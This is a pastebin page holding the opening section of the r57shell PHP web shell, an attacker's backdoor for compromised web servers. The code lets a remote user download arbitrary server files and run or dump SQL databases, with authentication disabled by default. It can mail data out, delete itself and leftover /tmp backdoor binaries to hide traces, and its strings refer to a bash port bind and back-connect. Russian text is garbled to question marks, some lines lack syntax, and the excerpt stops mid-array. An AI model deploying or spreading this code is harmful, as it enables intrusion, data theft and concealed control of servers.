pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

PHP pastebin - collaborative debugging tool View Help


Posted by Cyberheb on Wed 3 Oct 01:22
report abuse | download | new post

  1. <?php
  2. /******************************************************************************************************/
  3. /*
  4. /*                                     #    #        #    #                            
  5. /*                                     #   #          #   #
  6. /*                                    #    #          #    #
  7. /*                                    #   ##   ####   ##   #
  8. /*                                   ##   ##  ######  ##   ##
  9. /*                                   ##   ##  ######  ##   ##
  10. /*                                   ##   ##   ####   ##   ##
  11. /*                                   ###   ############   ###
  12. /*                                   ########################
  13. /*                                        ##############
  14. /*                                 ######## ########## #######
  15. /*                                ###   ##  ##########  ##   ###
  16. /*                                ###   ##  ##########  ##   ###
  17. /*                                 ###   #  ##########  #   ###
  18. /*                                 ###   ##  ########  ##   ###
  19. /*                                  ##    #   ######   #    ##
  20. /*                                   ##   #    ####   #    ##
  21. /*                                     ##                 ##
  22. /*
  23. /*
  24. /*
  25. /*  www.R57.li - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ???????
  26. /*  ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru
  27. /*  ??????:
  28. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  29. /*  ????????? ????????????? ?? ?????? ? ????: blf, phoenix, virus, NorD ? ???? ?????? ?? RST/GHC.
  30. /*  ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ??????
  31. /*  ?? rst@void.ru. ??? ??????????? ????? ???????????.
  32. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  33. /*  (c)oded by 1dt.w0lf
  34. /*  RST/GHC http://rst.void.ru , http://ghc.ru
  35. /*  ANY MODIFIED REPUBLISHING IS RESTRICTED
  36. /******************************************************************************************************/
  37. /* ~~~ ????????? | Options  ~~~ */
  38.  
  39. // ????? ????? | Language
  40. // $language='ru' - ??????? (russian)
  41. // $language='eng' - english (??????????)
  42. $language='eng';
  43.  
  44. // ?????????????? | Authentification
  45. // $auth = 1; - ?????????????? ????????  ( authentification = On  )
  46. // $auth = 0; - ?????????????? ????????? ( authentification = Off )
  47. $auth = 0;
  48.  
  49. // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
  50. // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
  51. // ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'
  52. // Login & password crypted with md5, default is 'r57'
  53. $name='ec371748dc2da624b35a4f8f685dd122'; // ????? ????????????  (user login)
  54. $pass='ec371748dc2da624b35a4f8f685dd122'; // ?????? ???????????? (user password)
  55. /******************************************************************************************************/
  56. @ini_set('max_execution_time',0);
  57. @ini_set('output_buffering',0);
  58. $safe_mode = @ini_get('safe_mode');
  59. $version = '1.31';
  60. if(version_compare(phpversion(), '4.1.0') == -1)
  61.  {
  62.  $_POST   = &$HTTP_POST_VARS;
  63.  $_GET    = &$HTTP_GET_VARS;
  64.  $_SERVER = &$HTTP_SERVER_VARS;
  65.  $_COOKIE = &$HTTP_COOKIE_VARS;
  66.  }
  67.  {
  68.  foreach ($_POST as $k=>$v)
  69.   {
  70.   $_POST[$k] = stripslashes($v);
  71.   }
  72.  foreach ($_COOKIE as $k=>$v)
  73.   {
  74.   $_COOKIE[$k] = stripslashes($v);
  75.   }
  76.  }
  77.  
  78. if($auth == 1) {
  79. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  80.    {
  81.    header('WWW-Authenticate: Basic realm="r57shell"');
  82.    header('HTTP/1.0 401 Unauthorized');
  83.    exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  84.    }
  85. }  
  86. $head = '<!-- ??????????, ???? -->
  87. <html>
  88. <head>
  89. <title>r57shell</title>
  90. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  91.  
  92. <STYLE>
  93. tr {
  94. BORDER-RIGHT:  #aaaaaa 1px solid;
  95. BORDER-TOP:    #eeeeee 1px solid;
  96. BORDER-LEFT:   #eeeeee 1px solid;
  97. BORDER-BOTTOM: #aaaaaa 1px solid;
  98. color: #000000;
  99. }
  100. td {
  101. BORDER-RIGHT:  #aaaaaa 1px solid;
  102. BORDER-TOP:    #eeeeee 1px solid;
  103. BORDER-LEFT:   #eeeeee 1px solid;
  104. BORDER-BOTTOM: #aaaaaa 1px solid;
  105. color: #000000;
  106. }
  107. .table1 {
  108. BORDER: 0px;
  109. BACKGROUND-COLOR: #D4D0C8;
  110. color: #000000;
  111. }
  112. .td1 {
  113. BORDER: 0px;
  114. font: 7pt Verdana;
  115. color: #000000;
  116. }
  117. .tr1 {
  118. BORDER: 0px;
  119. color: #000000;
  120. }
  121. table {
  122. BORDER:  #eeeeee 1px outset;
  123. BACKGROUND-COLOR: #D4D0C8;
  124. color: #000000;
  125. }
  126. input {
  127. BORDER-RIGHT:  #ffffff 1px solid;
  128. BORDER-TOP:    #999999 1px solid;
  129. BORDER-LEFT:   #999999 1px solid;
  130. BORDER-BOTTOM: #ffffff 1px solid;
  131. BACKGROUND-COLOR: #e4e0d8;
  132. font: 8pt Verdana;
  133. color: #000000;
  134. }
  135. select {
  136. BORDER-RIGHT:  #ffffff 1px solid;
  137. BORDER-TOP:    #999999 1px solid;
  138. BORDER-LEFT:   #999999 1px solid;
  139. BORDER-BOTTOM: #ffffff 1px solid;
  140. BACKGROUND-COLOR: #e4e0d8;
  141. font: 8pt Verdana;
  142. color: #000000;;
  143. }
  144. submit {
  145. BORDER:  buttonhighlight 2px outset;
  146. BACKGROUND-COLOR: #e4e0d8;
  147. width: 30%;
  148. color: #000000;
  149. }
  150. textarea {
  151. BORDER-RIGHT:  #ffffff 1px solid;
  152. BORDER-TOP:    #999999 1px solid;
  153. BORDER-LEFT:   #999999 1px solid;
  154. BORDER-BOTTOM: #ffffff 1px solid;
  155. BACKGROUND-COLOR: #e4e0d8;
  156. font: Fixedsys bold;
  157. color: #000000;
  158. }
  159. BODY {
  160. margin: 1px;
  161. color: #000000;
  162. background-color: #e4e0d8;
  163. }
  164. A:link {COLOR:red; TEXT-DECORATION: none}
  165. A:visited { COLOR:red; TEXT-DECORATION: none}
  166. A:active {COLOR:red; TEXT-DECORATION: none}
  167. A:hover {color:blue;TEXT-DECORATION: none}
  168. </STYLE>
  169. <script language=\'javascript\'>
  170. function hide_div(id)
  171. {
  172.  document.getElementById(id).style.display = \'none\';
  173.  document.cookie=id+\'=0;\';
  174. }
  175. function show_div(id)
  176. {
  177.  document.getElementById(id).style.display = \'block\';
  178.  document.cookie=id+\'=1;\';
  179. }
  180. function change_divst(id)
  181. {
  182.  if (document.getElementById(id).style.display == \'none\')
  183.    show_div(id);
  184.  else
  185.    hide_div(id);
  186. }
  187. </script>';
  188. class zipfile
  189. {
  190.     var $datasec      = array();
  191.     var $ctrl_dir     = array();
  192.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  193.     var $old_offset   = 0;
  194.     function unix2DosTime($unixtime = 0) {
  195.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  196.         if ($timearray['year'] < 1980) {
  197.             $timearray['year']    = 1980;
  198.             $timearray['mon']     = 1;
  199.             $timearray['mday']    = 1;
  200.             $timearray['hours']   = 0;
  201.             $timearray['minutes'] = 0;
  202.             $timearray['seconds'] = 0;
  203.         }
  204.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  205.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  206.     }
  207.     function addFile($data, $name, $time = 0)
  208.     {
  209.         $name     = str_replace('\\', '/', $name);
  210.         $dtime    = dechex($this->unix2DosTime($time));
  211.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  212.                   . '\x' . $dtime[4] . $dtime[5]
  213.                   . '\x' . $dtime[2] . $dtime[3]
  214.                   . '\x' . $dtime[0] . $dtime[1];
  215.         eval('$hexdtime = "' . $hexdtime . '";');
  216.         $fr   = "\x50\x4b\x03\x04";
  217.         $fr   .= "\x14\x00";            
  218.         $fr   .= "\x00\x00";            
  219.         $fr   .= "\x08\x00";            
  220.         $fr   .= $hexdtime;            
  221.         $unc_len = strlen($data);
  222.         $crc     = crc32($data);
  223.         $zdata   = gzcompress($data);
  224.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  225.         $c_len   = strlen($zdata);
  226.         $fr      .= pack('V', $crc);            
  227.         $fr      .= pack('V', $c_len);          
  228.         $fr      .= pack('V', $unc_len);        
  229.         $fr      .= pack('v', strlen($name));    
  230.         $fr      .= pack('v', 0);                
  231.         $fr      .= $name;
  232.         $fr .= $zdata;
  233.         $this -> datasec[] = $fr;
  234.         $cdrec = "\x50\x4b\x01\x02";
  235.         $cdrec .= "\x00\x00";                
  236.         $cdrec .= "\x14\x00";                
  237.         $cdrec .= "\x00\x00";                
  238.         $cdrec .= "\x08\x00";                
  239.         $cdrec .= $hexdtime;                
  240.         $cdrec .= pack('V', $crc);          
  241.         $cdrec .= pack('V', $c_len);        
  242.         $cdrec .= pack('V', $unc_len);      
  243.         $cdrec .= pack('v', strlen($name) );
  244.         $cdrec .= pack('v', 0 );            
  245.         $cdrec .= pack('v', 0 );            
  246.         $cdrec .= pack('v', 0 );            
  247.         $cdrec .= pack('v', 0 );            
  248.         $cdrec .= pack('V', 32 );            
  249.         $cdrec .= pack('V', $this -> old_offset );
  250.         $this -> old_offset += strlen($fr);
  251.         $cdrec .= $name;
  252.         $this -> ctrl_dir[] = $cdrec;
  253.     }
  254.     function file()
  255.     {
  256.         $data    = implode('', $this -> datasec);
  257.         $ctrldir = implode('', $this -> ctrl_dir);
  258.         return
  259.             $data .
  260.             $ctrldir .
  261.             $this -> eof_ctrl_dir .
  262.             pack('v', sizeof($this -> ctrl_dir)) .  
  263.             pack('v', sizeof($this -> ctrl_dir)) .  
  264.             pack('V', strlen($ctrldir)) .          
  265.             pack('V', strlen($data)) .              
  266.             "\x00\x00";              
  267.     }
  268. }
  269. function compress(&$filename,&$filedump,$compress)
  270.  {
  271.     global $content_encoding;
  272.     global $mime_type;
  273.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  274.      {
  275.         $filename  .= '.bz2';
  276.         $mime_type = 'application/x-bzip2';
  277.         $filedump = bzcompress($filedump);
  278.      }
  279.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  280.      {
  281.         $filename  .= '.gz';
  282.         $content_encoding = 'x-gzip';
  283.         $mime_type = 'application/x-gzip';
  284.         $filedump = gzencode($filedump);
  285.      }
  286.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  287.      {
  288.         $filename .= '.zip';
  289.         $mime_type = 'application/zip';
  290.         $zipfile = new zipfile();
  291.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  292.         $filedump = $zipfile -> file();
  293.      }
  294.      else
  295.      {
  296.         $mime_type = 'application/octet-stream';
  297.      }
  298.  }
  299. function mailattach($to,$from,$subj,$attach)
  300.  {
  301.  $headers  = "From: $from\r\n"
  302.  $headers .= "MIME-Version: 1.0\r\n";
  303.  $headers .= "Content-Type: ".$attach['type'];
  304.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  305.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  306.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  307.  if(@mail($to,$subj,"",$headers)) { return 1; }
  308.  return 0;
  309.  }
  310. class my_sql
  311.  {
  312.  var $host = 'localhost';
  313.  var $port = '';
  314.  var $user = '';
  315.  var $pass = '';       
  316.  var $base = '';       
  317.  var $db   = '';       
  318.  var $connection;
  319.  var $res;        
  320.  var $error;      
  321.  var $rows;      
  322.  var $columns;    
  323.  var $num_rows;  
  324.  var $num_fields;
  325.  var $dump;      
  326.  
  327.  function connect()
  328.   {       
  329.         switch($this->db)
  330.      {
  331.          case 'MySQL':  
  332.           if(empty($this->port)) { $this->port = '3306'; }
  333.           if(!function_exists('mysql_connect')) return 0;
  334.           $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);     
  335.           if(is_resource($this->connection)) return 1;
  336.          break;
  337.      case 'MSSQL':
  338.       if(empty($this->port)) { $this->port = '1433'; }
  339.           if(!function_exists('mssql_connect')) return 0;
  340.           $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);     
  341.       if($this->connection) return 1;
  342.      break;
  343.      case 'PostgreSQL':
  344.       if(empty($this->port)) { $this->port = '5432'; }
  345.       $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  346.       if(!function_exists('pg_connect')) return 0;
  347.       $this->connection = @pg_connect($str);
  348.       if(is_resource($this->connection)) return 1;
  349.      break;
  350.      case 'Oracle':
  351.       if(!function_exists('ocilogon')) return 0;
  352.       $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  353.       if(is_resource($this->connection)) return 1;
  354.      break;
  355.      }
  356.     return 0;  
  357.   }
  358.  
  359.  function select_db()
  360.   {
  361.    switch($this->db)
  362.     {
  363.         case 'MySQL':
  364.          if(@mysql_select_db($this->base,$this->connection)) return 1
  365.     break;
  366.     case 'MSSQL':
  367.          if(@mssql_select_db($this->base,$this->connection)) return 1;
  368.     break;
  369.     case 'PostgreSQL':
  370.      return 1;
  371.     break;
  372.     case 'Oracle':
  373.      return 1;
  374.     break;
  375.     }
  376.    return 0;  
  377.   }
  378.  
  379.  function query($query)
  380.   {
  381.    $this->res=$this->error='';
  382.    switch($this->db)
  383.     {
  384.         case 'MySQL':  
  385.      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  386.       {
  387.       $this->error = @mysql_error($this->connection);
  388.       return 0;
  389.       }
  390.      else if(is_resource($this->res)) { return 1; }                  
  391.      return 2;                                                          
  392.         break;
  393.     case 'MSSQL':
  394.      if(false===($this->res=@mssql_query($query,$this->connection)))
  395.       {
  396.       $this->error = 'Query error';
  397.       return 0
  398.       }
  399.       else if(@mssql_num_rows($this->res) > 0) { return 1; }
  400.      return 2;    
  401.     break;
  402.     case 'PostgreSQL':
  403.      if(false===($this->res=@pg_query($this->connection,$query)))
  404.       {
  405.       $this->error = @pg_last_error($this->connection);
  406.       return 0;
  407.       }
  408.       else if(@pg_num_rows($this->res) > 0) { return 1; }
  409.      return 2;
  410.     break;
  411.     case 'Oracle':
  412.      if(false===($this->res=@ociparse($this->connection,$query)))
  413.       {
  414.       $this->error = 'Query parse error';       
  415.       }
  416.      else
  417.       {
  418.       if(@ociexecute($this->res))
  419.        {       
  420.        if(@ocirowcount($this->res) != 0) return 2;
  421.        return 1;       
  422.        }
  423.       $error = @ocierror();
  424.       $this->error=$error['message'];
  425.       }
  426.     break;
  427.     }   
  428.   return 0;
  429.   }
  430.  function get_result()
  431.   {
  432.    $this->rows=array();
  433.    $this->columns=array();
  434.    $this->num_rows=$this->num_fields=0
  435.    switch($this->db)
  436.     {
  437.         case 'MySQL':
  438.          $this->num_rows=@mysql_num_rows($this->res);
  439.          $this->num_fields=@mysql_num_fields($this->res);
  440.          while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  441.          @mysql_free_result($this->res);
  442.          if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  443.     break;
  444.     case 'MSSQL':
  445.          $this->num_rows=@mssql_num_rows($this->res);
  446.          $this->num_fields=@mssql_num_fields($this->res);    
  447.          while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  448.          @mssql_free_result($this->res);
  449.          if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  450.     break;
  451.     case 'PostgreSQL':
  452.          $this->num_rows=@pg_num_rows($this->res);
  453.          $this->num_fields=@pg_num_fields($this->res);  
  454.          while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  455.          @pg_free_result($this->res);
  456.          if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  457.     break;
  458.     case 'Oracle':
  459.      $this->num_fields=@ocinumcols($this->res);
  460.      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  461.      @ocifreestatement($this->res);
  462.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  463.     break;
  464.     }
  465.    return 0;    
  466.   }
  467.  function dump($table)
  468.   {
  469.    if(empty($table)) return 0;
  470.    $this->dump=array();
  471.    $this->dump[0] = '##';
  472.    $this->dump[1] = '## --------------------------------------- ';
  473.    $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
  474.    $this->dump[3] = '## Database: '.$this->base;
  475.    $this->dump[4] = '##    Table: '.$table;
  476.    $this->dump[5] = '## --------------------------------------- ';
  477.    switch($this->db)
  478.     {
  479.         case 'MySQL':
  480.          $this->dump[0] = '## MySQL dump';
  481.          if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  482.          if(!$this->get_result()) return 0;
  483.          $this->dump[] = $this->rows[0]['Create Table'];
  484.      $this->dump[] = '## --------------------------------------- ';
  485.          if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  486.          if(!$this->get_result()) return 0;
  487.          for($i=0;$i<$this->num_rows;$i++)
  488.           {
  489.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} 
  490.           $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';     
  491.           }     
  492.     break;
  493.     case 'MSSQL':
  494.      $this->dump[0] = '## MSSQL dump';
  495.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  496.          if(!$this->get_result()) return 0;
  497.          for($i=0;$i<$this->num_rows;$i++)
  498.           {
  499.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}       
  500.           $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';   
  501.           }     
  502.     break;
  503.     case 'PostgreSQL':
  504.      $this->dump[0] = '## PostgreSQL dump';
  505.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  506.          if(!$this->get_result()) return 0;
  507.          for($i=0;$i<$this->num_rows;$i++)
  508.           {
  509.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}      
  510.           $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';   
  511.           }    
  512.     break;
  513.     case 'Oracle':
  514.       $this->dump[0] = '## ORACLE dump';
  515.       $this->dump[]  = '## under construction';
  516.     break;
  517.     default:
  518.      return 0;
  519.     break;
  520.     }
  521.    return 1;    
  522.   }
  523.  function close()
  524.   {
  525.    switch($this->db)
  526.     {
  527.         case 'MySQL':
  528.          @mysql_close($this->connection);      
  529.     break;
  530.     case 'MSSQL':
  531.      @mssql_close($this->connection);
  532.     break;
  533.     case 'PostgreSQL':
  534.      @pg_close($this->connection);
  535.     break;
  536.     case 'Oracle':
  537.      @oci_close($this->connection);
  538.     break;
  539.     }   
  540.   }
  541.  function affected_rows()
  542.   {
  543.    switch($this->db)
  544.     {
  545.         case 'MySQL':
  546.          return @mysql_affected_rows($this->res);      
  547.     break;
  548.     case 'MSSQL':
  549.      return @mssql_affected_rows($this->res);
  550.     break;
  551.     case 'PostgreSQL':
  552.      return @pg_affected_rows($this->res);
  553.     break;
  554.     case 'Oracle':
  555.      return @ocirowcount($this->res);
  556.     break;
  557.     default:
  558.      return 0;
  559.     break;
  560.     }   
  561.   }
  562.  }
  563. if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  564.  {
  565.   if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  566.   else
  567.    {
  568.     @ob_clean();
  569.     $filename = @basename($_POST['d_name']);
  570.     $filedump = @fread($file,@filesize($_POST['d_name']));
  571.     fclose($file);
  572.     $content_encoding=$mime_type='';
  573.     compress($filename,$filedump,$_POST['compress']);
  574.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  575.     header("Content-type: ".$mime_type);
  576.     header("Content-disposition: attachment; filename=\"".$filename."\";");  
  577.     echo $filedump;
  578.     exit();
  579.    }           
  580.  }
  581. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  582. if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
  583.  {
  584.  echo $head;
  585.  $sql = new my_sql();
  586.  $sql->db   = $_POST['db'];
  587.  $sql->host = $_POST['db_server'];
  588.  $sql->port = $_POST['db_port'];
  589.  $sql->user = $_POST['mysql_l'];
  590.  $sql->pass = $_POST['mysql_p'];       
  591.  $sql->base = $_POST['mysql_db'];
  592.  $querys = @explode(';',$_POST['db_query']);
  593.  echo '<body bgcolor=#e4e0d8>';
  594.  if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  595.   else
  596.    {
  597.    if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"
  598.    else
  599.     {
  600.     foreach($querys as $num=>$query)
  601.      {
  602.       if(strlen($query)>5)
  603.       { 
  604.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  605.       switch($sql->query($query))
  606.        {
  607.        case '0':
  608.        echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  609.        break;   
  610.        case '1':
  611.        if($sql->get_result())
  612.         {
  613.         echo "<table width=100%>";
  614.         foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
  615.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
  616.         echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  617.         for($i=0;$i<$sql->num_rows;$i++)
  618.          {
  619.          foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  620.          $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
  621.          echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  622.          }
  623.         echo "</table>";
  624.         }
  625.        break;   
  626.        case '2':
  627.        $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  628.        echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  629.        break;           
  630.        }       
  631.       }
  632.      }
  633.     }
  634.    }  
  635.  echo "<br><form name=form method=POST>";
  636.  echo in('hidden','db',0,$_POST['db']);
  637.  echo in('hidden','db_server',0,$_POST['db_server']);
  638.  echo in('hidden','db_port',0,$_POST['db_port']);
  639.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  640.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  641.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  642.  echo in('hidden','cmd',0,'db_query');
  643.  echo "<div align=center>";
  644.  echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  645.  echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  646.  echo "</form>";
  647.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  648.  }     
  649. if(isset($_GET['delete']))
  650.  {
  651.    @unlink(__FILE__);
  652.  }
  653. if(isset($_GET['tmp']))
  654.  {
  655.    @unlink("/tmp/bdpl");
  656.    @unlink("/tmp/back");
  657.    @unlink("/tmp/bd");
  658.    @unlink("/tmp/bd.c");
  659.    @unlink("/tmp/dp");
  660.    @unlink("/tmp/dpc");
  661.    @unlink("/tmp/dpc.c");
  662.  }
  663. if(isset($_GET['phpini']))
  664. {
  665. echo $head;
  666. function U_value($value)
  667.  {
  668.  if ($value == '') return '<i>no value</i>';
  669.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  670.  if ($value === null) return 'NULL';
  671.  if (@is_object($value)) $value = (array) $value;
  672.  if (@is_array($value))
  673.  {
  674.  @ob_start();
  675.  print_r($value);
  676.  $value = @ob_get_contents();
  677.  }
  678.  return U_wordwrap((string) $value);
  679.  }
  680. function U_wordwrap($str)
  681.  {
  682.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  683.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  684.  }
  685. if (@function_exists('ini_get_all'))
  686.  {
  687.  $r = '';
  688.  echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  689.  foreach (@ini_get_all() as $key=>$value)
  690.   {
  691.   $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  692.   }
  693.  echo $r;
  694.  echo '</table>';
  695.  }
  696. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  697. die();
  698. }
  699. if(isset($_GET['cpu']))
  700.  {
  701.    echo $head;
  702.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  703.    $cpuf = @file("cpuinfo");
  704.    if($cpuf)
  705.     {
  706.       $c = @sizeof($cpuf);
  707.       for($i=0;$i<$c;$i++)
  708.         {
  709.           $info = @explode(":",$cpuf[$i]);
  710.           if($info[1]==""){ $info[1]="---"; }
  711.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  712.         }
  713.       echo $r;
  714.     }
  715.    else
  716.     {
  717.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  718.     }
  719.    echo '</table>';
  720.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  721.    die();
  722.  }
  723. if(isset($_GET['mem']))
  724.  {
  725.    echo $head;
  726.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  727.    $memf = @file("meminfo");
  728.    if($memf)
  729.     {
  730.       $c = sizeof($memf);
  731.       for($i=0;$i<$c;$i++)
  732.         {
  733.           $info = explode(":",$memf[$i]);
  734.           if($info[1]==""){ $info[1]="---"; }
  735.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  736.         }
  737.       echo $r;
  738.     }
  739.    else
  740.     {
  741.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  742.     }
  743.    echo '</table>';
  744.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  745.    die();
  746.  }
  747. $lang=array(
  748. 'ru_text1' =>'??????????? ???????',
  749. 'ru_text2' =>'?????????? ?????? ?? ???????',
  750. 'ru_text3' =>'????????? ???????',
  751. 'ru_text4' =>'??????? ??????????',
  752. 'ru_text5' =>'???????? ?????? ?? ??????',
  753. 'ru_text6' =>'????????? ????',
  754. 'ru_text7' =>'??????',
  755. 'ru_text8' =>'???????? ?????',
  756. 'ru_butt1' =>'?????????',
  757. 'ru_butt2' =>'?????????',
  758. 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
  759. 'ru_text10'=>'??????? ????',
  760. 'ru_text11'=>'?????? ??? ???????',
  761. 'ru_butt3' =>'???????',
  762. 'ru_text12'=>'back-connect',
  763. 'ru_text13'=>'IP-?????',
  764. 'ru_text14'=>'????',
